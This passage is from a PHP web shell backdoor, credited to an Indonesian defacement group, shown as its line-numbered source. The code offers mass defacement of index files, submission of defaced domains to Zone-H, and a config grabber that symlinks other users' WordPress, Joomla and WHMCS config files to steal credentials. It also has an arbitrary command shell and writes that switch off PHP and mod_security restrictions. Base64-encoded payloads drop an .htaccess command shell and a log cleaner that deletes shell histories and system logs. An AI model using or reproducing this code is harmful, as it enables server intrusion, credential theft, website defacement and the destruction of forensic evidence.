2407<form method='post'>
2408<tr>
2409 <tr>
2410 <td> Folder</td><td><input class ='inputz' style='background:black;' type='text' name='path' size='60' value="<?=getcwd(); ?>"></td>
2411 </tr><br>
2412 <tr>
2413 <td>File Name</td><td><input class ='inputz' style='background:black;' type='text' name='file' size='60' value="index.html"></td>
2414 </tr>
2415</tr>
2416<table class="tabnet" >
2417<th colspan='5'><b>File Code Mass Deface</b></th>
2418<tr><td></td><td>
2419<table><textarea align="center" style='background:black;' name='index' rows='15' cols='80'><?=$script_deface; ?></textarea><br>
2420<center><input class='inputzbut' type='submit' value=" Mass Deface "></center></form></table></table></table></table>
2421<br></form>
2422<?php $mainpath = $_POST[path];
2423 $file = $_POST[file];
2424 $dir = opendir("$mainpath");
2425 $code = base64_encode($_POST[index]);
2426 $indx = base64_decode($code);
2427 while ($row = readdir($dir)) {
2428 $start = @fopen("$row/$file", "w+");
2429 $finish = @fwrite($start, $indx);
2430 if ($finish) {
2431 echo "$row/$file > Done<br><br>";
2432 }
2433 }
2434}
2435/////////////
2436/////////////////////////////////////////////////////////////////
2437elseif (isset($_GET['x']) && ($_GET['x'] == 'zone')) {
2438 @ini_set('output_buffering', 0);
2439 echo "
2440<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
2441
2442 <tr>
2443 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
2444 <center><b><font size=5 style=italic color=#00ff00>Zone-H Submiter</font></b></center></td></tr></table>
2445";
2446?>
2447<form action="?y=<?=$pwd; ?>&x=zone" method="post">
2448
2449<br><br><center>
2450<!-- Zone-H -->
2451<form action="" method='POST'><table><table class='tabnet'>
2452<td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan="2"><b>Zone-H Defacer</b></th></tr></td></tr><td height='45' colspan='2'><form method="post">
2453<input type="text" class="inputz" name="defacer" style="background:black;" placeholder="Name Of Defacer" />
2454<select name="hackmode" class="inputz" >
2455<option >---------------------------Select One---------------------------</option>
2456<option value="1">Known Vulnerability (i.e. Unpatched System)</option>
2457<option value="2" >Undisclosed (new) Vulnerability</option>
2458<option value="3" >Configuration / Admin Mistake</option>
2459<option value="4" >Brute Force Attack</option>
2460<option value="5" >Social Engineering</option>
2461<option value="6" >Web Server Intrusion</option>
2462<option value="7" >Web Server External Module Intrusion</option>
2463<option value="8" >Mail Server Intrusion</option>
2464<option value="9" >FTP Server Intrusion</option>
2465<option value="10" >SSH Server Intrusion</option>
2466<option value="11" >Telnet Server Intrusion</option>
2467<option value="12" >RPC Server Intrusion</option>
2468<option value="13" >Shares Misconfiguration</option>
2469<option value="14" >Other Server Intrusion</option>
2470<option value="15" >SQL Injection</option>
2471<option value="16" >URL Poisoning</option>
2472<option value="17" >File Inclusion</option>
2473<option value="18" >Other Web Application Bug</option>
2474<option value="19" >Remote Administrative Panel Access Bruteforcing</option>
2475<option value="20" >Remote Administrative Panel Access Password Guessing</option>
2476<option value="21" >Remote Administrative Panel Access Social Engineering</option>
2477<option value="22" >Attack Against Administrator(Password StealingSniffing)</option>
2478<option value="23" >Access Credentials Through Man In the Middle Attack</option>
2479<option value="24" >Remote Service Password Guessing</option>
2480<option value="25" >Remote Service Password Bruteforce</option>
2481<option value="26" >Rerouting After Attacking The Firewall</option>
2482<option value="27" >Rerouting After Attacking The Router</option>
2483<option value="28" >DNS Attack Through Social Engineering</option>
2484<option value="29" >DNS Attack Through Cache Poisoning</option>
2485<option value="30" >Not available</option>
2486</select>
2487
2488<select name="reason" class="inputz" >
2489<option >---------------Select One-----------------</option>
2490<option value="1" >Heh...Just For Fun!</option>
2491<option value="2" >Revenge Against That Website</option>
2492<option value="3" >Political Reasons</option>
2493<option value="4" >As a Challenge</option>
2494<option value="5" >I Just Want To Be The Best Defacer</option>
2495<option value="6" >Patriotism</option>
2496<option value="7" >Not Available</option>
2497</select>
2498<input type="hidden" name="action" value="zone"><tr><td>
2499<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains" placeholder="List Of Domains"></textarea>
2500<br /><input class='inputzbut' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
2501</form></td></tr></table></form>
2502<!-- End Of Zone-H -->
2503</td></center><br><br>
2504
2505<?php
2506 function ZoneH($url, $hacker, $hackmode, $reson, $site) {
2507 $k = curl_init();
2508 curl_setopt($k, CURLOPT_URL, $url);
2509 curl_setopt($k, CURLOPT_POST, true);
2510 curl_setopt($k, CURLOPT_POSTFIELDS, "defacer=" . $hacker . "&domain1=" . $site . "&hackmode=" . $hackmode . "&reason=" . $reson);
2511 curl_setopt($k, CURLOPT_FOLLOWLOCATION, true);
2512 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
2513 $kubra = curl_exec($k);
2514 curl_close($k);
2515 return $kubra;
2516 } {
2517 ob_start();
2518 $sub = @get_loaded_extensions();
2519 if (!in_array("curl", $sub)) {
2520 die('<center><b>[-] Curl Is Not Supported !![-]</b></center>');
2521 }
2522 $hacker = $_POST['defacer'];
2523 $method = $_POST['hackmode'];
2524 $neden = $_POST['reason'];
2525 $site = $_POST['domain'];
2526 if (empty($hacker)) {
2527 die("<center><b> </b></center>");
2528 } elseif ($method == "--------SELECT--------") {
2529 die("<center><b>[+] YOU MUST SELECT THE METHOD [+]</b></center>");
2530 } elseif ($neden == "--------SELECT--------") {
2531 die("<center><b>[+] YOU MUST SELECT THE REASON [+]</b></center>");
2532 } elseif (empty($site)) {
2533 die("<center><b>[+] YOU MUST INTER THE SITES LIST [+]</b></center>");
2534 }
2535 $i = 0;
2536 $sites = explode("
2537", $site);
2538 while ($i < count($sites)) {
2539 if (substr($sites[$i], 0, 4) != "http") {
2540 $sites[$i] = "http://" . $sites[$i];
2541 }
2542 ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]);
2543 echo "$sites[$i]";
2544 ++$i;
2545 }
2546 }
2547}
2548/////////////////////////////////////////////////////////////////////////////////////////////
2549////////////////////////////////////////////////////////////////////////////
2550elseif (isset($_GET['x']) && ($_GET['x'] == 'grabc')) {
2551 @ini_set('output_buffering', 0);
2552 echo "
2553<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
2554
2555 <tr>
2556 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
2557 <center><b><font size=5 style=italic color=#00ff00>Config Grabber</font></b></center></td></tr></table>
2558";
2559?>
2560 <form action="?y=<?=$pwd; ?>&x=grabc" method="post">
2561
2562<?php
2563 echo "
2564<form method='POST'>
2565</head>
2566<style>
2567textarea {
2568resize:none;
2569color: #000000 ;
2570background-color:#000000;
2571font-size:8pt; color:#ffffff;
2572
2573width:550px;
2574height:400px;
2575}
2576input {
2577color: #000000;
2578border:1px dotted white;
2579}
2580</style>";
2581 echo "<center>"; ?></center><br><center><?php if (empty($_POST['config'])) { ?><br><form method="POST"><table class="tabnet" >
2582<th colspan='5'><b>Config Grabber</b></th></center>
2583<tr><td></td><td><table><textarea name="passwd" class='area' rows='15' cols='60'><?=file_get_contents('/etc/passwd'); ?></textarea><br>
2584<center><input name="config" style="width:550px;" class='inputzbut' value=" Grab! " type="submit"></form></center></table></table>
2585<?php
2586 }
2587 if ($_POST['config']) {
2588 $function = $functions = @ini_get("disable_functions");
2589 if (eregi("symlink", $functions)) {
2590 die('<error>Symlink disabled :( </error>');
2591 }
2592 @mkdir('explodedcgrab', 0755);
2593 @chdir('explodedcgrab');
2594 $htaccess = "
2595OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
2596Options Indexes FollowSymLinks
2597ForceType text/plain
2598AddType text/plain .php
2599AddType text/plain .html
2600AddType text/html .shtml
2601AddType txt .php
2602AddHandler server-parsed .php
2603AddHandler txt .php
2604AddHandler txt .html
2605AddHandler txt .shtml
2606Options All
2607Options All
2608OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
2609Options Indexes FollowSymLinks
2610ForceType text/plain
2611AddType text/plain .php
2612AddType text/plain .html
2613AddType text/html .shtml
2614AddType txt .php
2615AddHandler server-parsed .php
2616AddHandler txt .php
2617AddHandler txt .html
2618AddHandler txt .shtml
2619Options All
2620Options All";
2621 file_put_contents(".htaccess", $htaccess, FILE_APPEND);
2622 $passwd = $_POST["passwd"];
2623 $passwd = explode("
2624", $passwd);
2625 echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";
2626 foreach ($passwd as $pwd) {
2627 $pawd = explode(":", $pwd);
2628 $user = $pawd[0];
2629 @symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
2630 @symlink('/home/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
2631 @symlink('/home/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
2632 @symlink('/home/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
2633 @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
2634 @symlink('/home/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
2635 @symlink('/home/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
2636 @symlink('/home/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
2637 @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
2638 @symlink('/home/' . $user . '/public_html/config.php', $user . '-configgg.txt');
2639 @symlink('/home/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
2640 @symlink('/home/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
2641 @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
2642 @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
2643 @symlink('/home/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
2644 @symlink('/home/' . $user . '/public_html/home/wp-config.php', $user . '-wp-home.txt');
2645 @symlink('/home/' . $user . '/public_html/db.php', $user . '-dbconf.txt');
2646 @symlink('/home/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
2647 @symlink('/home/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
2648 @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-wp-test.txt');
2649 @symlink('/home/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
2650 @symlink('/home/' . $user . '/public_html/portal/configuration.php', $user . '-joomla-protal.txt');
2651 @symlink('/home/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
2652 @symlink('/home/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
2653 @symlink('/home/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
2654 @symlink('/home/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
2655 @symlink('/home/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
2656 @symlink('/home/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
2657 @symlink('/home/' . $user . '/public_html/home/configuration.php', $user . '-joomla-home.txt');
2658 @symlink('/home/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
2659 @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm15.txt');
2660 @symlink('/home/' . $user . '/public_html/central/configuration.php', $user . '-whm-central.txt');
2661 @symlink('/home/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
2662 @symlink('/home/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
2663 @symlink('/home/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
2664 @symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmcs.txt');
2665 @symlink('/home/' . $user . '/public_html/support/configuration.php', $user . '-support.txt');
2666 @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
2667 @symlink('/home/' . $user . '/public_html/submitticket.php', $user . '-whmcs2.txt');
2668 @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm.txt');
2669 }
2670 echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="explodedcgrab">Open configs</a></font></b>';
2671 }
2672}
2673////////////////////////////////////
2674elseif (isset($_GET['x']) && ($_GET['x'] == 'about')) {
2675 @ini_set('output_buffering', 0);
2676 echo "
2677<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
2678
2679 <tr>
2680 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
2681 <center><b><font size=5 style=italic color=#00ff00>About</font></b></center></td></tr></table>
2682";
2683?><form action="?y=<?=$pwd; ?>&x=about" method="post"><center><br><br><div class='msupiani'><img src='http://oi58.tinypic.com/2u8fmnn.jpg'/></div>
2684<br><br><br><font size="10" color="#00ff00"><b>Thanks To :</b><br><br><br></font></center><center><marquee direction="up" scrollamount="2" bgcolor="" width="250" height="100"><center>
2685<p><b><font size="3" color="#00ff00">Allah S.W.T<br><br>My Parent<br>Yulia Susanti<br>All Member Security Exploded<br>1N73CTION<br>B374K<br>AnonGhost<br>WSO<br>C100<br>BlackShadow<br>Madspot<br><br>
2686=[ Grub & Forum ]=<br><br>Pentest & Security Indonesia<br>Kali Linux Indonesia<br>Surabaya Black Hat<br>Indonesian Backtrack Team<br><br><br><br>By<br>Security Exploded a.k.a ./Port22<br><br>Special Present To :<BR><center><img src="http://www.clker.com/cliparts/W/q/D/p/e/7/small-red-heart-with-transparent-background-hi.png" width='20' height='20'></center>Yulia Susanti<br><br>18 Mar 2014<br>
2687</font></b></p></center></marquee></center><embed src="<?=$music; ?>" autostart="TRUE" loop="TRUE" width="0" height="0"></embed><br><br><br>
2688<?php
2689}
2690/////////////////////////////////////
2691elseif (isset($_GET['x']) && ($_GET['x'] == 'shell')) { ?><form action="?y=<?=$pwd; ?>&x=shell" method="post"><table class="cmdbox">
2692<tr><td colspan="2"><textarea class="output" readonly><?php if (isset($_POST['submitcmd'])) {
2693 echo @exe($_POST['cmd']);
2694 } ?></textarea>
2695<tr><td colspan="2"><?=$prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
2696</table></form><?php
2697} else {
2698 if (isset($_GET['delete']) && ($_GET['delete'] != "")) {
2699 $file = $_GET['delete'];
2700 @unlink($file);
2701 } elseif (isset($_GET['fdelete']) && ($_GET['fdelete'] != "")) {
2702 @rmdir(rtrim($_GET['fdelete'], DIRECTORY_SEPARATOR));
2703 } elseif (isset($_GET['mkdir']) && ($_GET['mkdir'] != "")) {
2704 $path = $pwd . $_GET['mkdir'];
2705 @mkdir($path);
2706 }
2707 $buff = showdir($pwd, $prompt);
2708 echo $buff;
2709}
2710//////////////////////////////////////
2711
2712?>
2713<br><table class="tabnet">
2714<tr><form method="post" action=""> <td><select class="inputzbut" align="left" name="pilihan" id="pilih"><option value=""selected>------[ Select Your Favorit Tools ]------</option><option value="htasell">htaccess Shell [ .htaccess ]</option><option value="slc" >Server Log Cleaner [ serverLC.sh ]</option><option value="ini">Bypass Disable Function in Apache</option><option value="inis">Bypass Disable Function in Litespeed</option></select>
2715<input type="submit" name="submites" class="inputzbut" value="Created">
2716</td></form></tr></table>
2717<?php
2718$submit = $_POST['submites'];
2719if (isset($submit)) {
2720 $pilih = $_POST['pilihan'];
2721 if ($pilih == 'ini') {
2722 $byphp = "safe_mode = Off
2723 disable_functions = None
2724 safe_mode_gid = OFF
2725 open_basedir = OFF
2726 allow_url_fopen = On";
2727 $byht = "<IfModule mod_security.c>
2728 SecFilterEngine Off
2729 SecFilterScanPOST Off
2730 SecFilterCheckURLEncoding Off
2731 SecFilterCheckUnicodeEncoding Off
2732 </IfModule>";
2733 $iniphp = '<?
2734 echo ini_get("safe_mode");
2735 echo ini_get("open_basedir");
2736 include($_GET["file"]);
2737 ini_restore("safe_mode");
2738 ini_restore("open_basedir");
2739 echo ini_get("safe_mode");
2740 echo ini_get("open_basedir");
2741 include($_GET["ss"];
2742 ?>';
2743 file_put_contents("php.ini", $byphp);
2744 file_put_contents(".htaccess", $byht);
2745 file_put_contents("ini.php", $iniphp);
2746 echo "<script>alert('Disable Functions in Apache Created'); hideAll();</script>";
2747 die();
2748 } elseif ($pilih == 'inis') {
2749 $iniph = '<?php
2750 echo ini_get("safe_mode");
2751 echo ini_get("open_basedir");
2752 include($_GET["file"]);
2753 ini_restore("safe_mode");
2754 ini_restore("open_basedir");
2755 echo ini_get("safe_mode");
2756 echo ini_get("open_basedir");
2757 include($_GET["ss"];
2758 ?>';
2759 $byph = "safe_mode = Off
2760 disable_functions= ";
2761 $comp = "PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";
2762 file_put_contents("php.ini", base64_decode($byph));
2763 file_put_contents("ini.php", base64_decode($iniph));
2764 file_put_contents(".htaccess", base64_decode($comp));
2765 echo "<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>";
2766 die();
2767 } elseif ($pilih == 'slc') {
2768 $slc = "IyEvYmluL3NoDQojIFJlY29kZWQgQnkgLi9Qb3J0MjIgKE1TdXBpYW4pDQojIEdyMzN0eiA6IEFsbCBNZW1iZXJzIE9mIFNlY3VyaXR5IEV4cGxvZGVkDQojIGNobW9kIDA3NTUgc2VydmVyTEMuc2ggPj4gLi9zZXJ2ZXJMQy5zaA0KDQplY2hvICJbKl0gR29pbmcgVG8gRGVsZXRlIExvZyBTZXJ2ZXJzIC4uLiAiDQpmaW5kIC8gLW5hbWUgKi5iYXNoX2hpc3RvcnkgLWV4ZWMgcm0gLXJmIHt9IFw7DQpmaW5kIC8gLW5hbWUgKi5iYXNoX2xvZ291dCAtZXhlYyBybSAtcmYge30gXDsNCmZpbmQgLyAtbmFtZSAibG9nKiIgLWV4ZWMgcm0gLXJmIHt9IFw7DQpmaW5kIC8gLW5hbWUgKi5sb2cgLWV4ZWMgcm0gLXJmIHt9IFw7DQpybSAtcmYgL3RtcC9sb2dzDQpybSAtcmYgJEhJU1RGSUxFDQpybSAtcmYgL3Jvb3QvLmtzaF9oaXN0b3J5DQpybSAtcmYgL3Jvb3QvLmJhc2hfaGlzdG9yeQ0Kcm0gLXJmIC9yb290Ly5rc2hfaGlzdG9yeQ0Kcm0gLXJmIC9yb290Ly5iYXNoX2xvZ291dA0Kcm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZ3MNCnJtIC1yZiAvdXNyL2xvY2FsL2FwYWNoZS9sb2cNCnJtIC1yZiAvdmFyL2FwYWNoZS9sb2dzDQpybSAtcmYgL3Zhci9hcGFjaGUvbG9nDQpybSAtcmYgL3Zhci9ydW4vdXRtcA0Kcm0gLXJmIC92YXIvbG9ncw0Kcm0gLXJmIC92YXIvbG9nDQpybSAtcmYgL3Zhci9hZG0NCnJtIC1yZiAvZXRjL3d0bXANCnJtIC1yZiAvZXRjL3V0bXANCg0KZWNobyAiWypdIERvbmUgLiBHb29kIEx1Y2sgOyki";
2769 file_put_contents("serverLC.sh", base64_decode($slc));
2770 echo "<script>alert('Server Log Cleaner [ serverLC.sh ] Created'); hideAll();</script>";
2771 die();
2772 } elseif ($pilih == 'htasell') {
2773 $ht = 'PEZpbGVzIH4gIl5cLmh0Ij4NCk9yZGVyIGFsbG93LGRlbnkNCkFsbG93IGZyb20gYWxsDQo8L2ZpbGVzPg0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocCAuaHRhY2Nlc3MNCiMgPD9waHAgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTs/Pg0K';
2774 file_put_contents(".htaccess", base64_decode($ht));
2775 echo "<script>alert('htaccess Shell [ .htaccess ] Created : open in site/.htaccess?cmd= '); hideAll();</script>";
2776 die();
2777 }
2778}
2779?><br><br> <div class="footer"><b style="color:$color;font-family:monotype corsiva;font-size:22;"><?=$title; ?> <?=$versi ?> Shell Backdoor</b></div>
2780<div class="jaya"> © <?=date('Y', time()); ?> <a href=""><?=$xName ?></a></div></div>
2781</body>
2782</html>